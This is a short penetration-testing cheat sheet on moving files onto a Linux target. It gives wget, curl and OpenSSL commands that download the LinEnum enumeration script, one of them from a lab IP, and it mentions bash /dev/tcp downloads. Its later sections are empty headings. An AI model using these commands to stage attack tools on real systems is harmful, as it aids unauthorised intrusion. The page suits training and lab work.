Linux File Transfer
Wget / cURL
#Wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
#Curl
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shOpenSSL
OpenSSL is frequently installed.
#Create Certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
#Stand up server
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
#Downlaod File
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.shBash (/dev/tcp)
as long as bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/tcp device file can be used for simple file downloads.
PHP
File_get_contents()
Fopen()
Php-curl
If the php-curl module has been installed,
Python
Other Languages
Ruby
Perl
Go
Last updated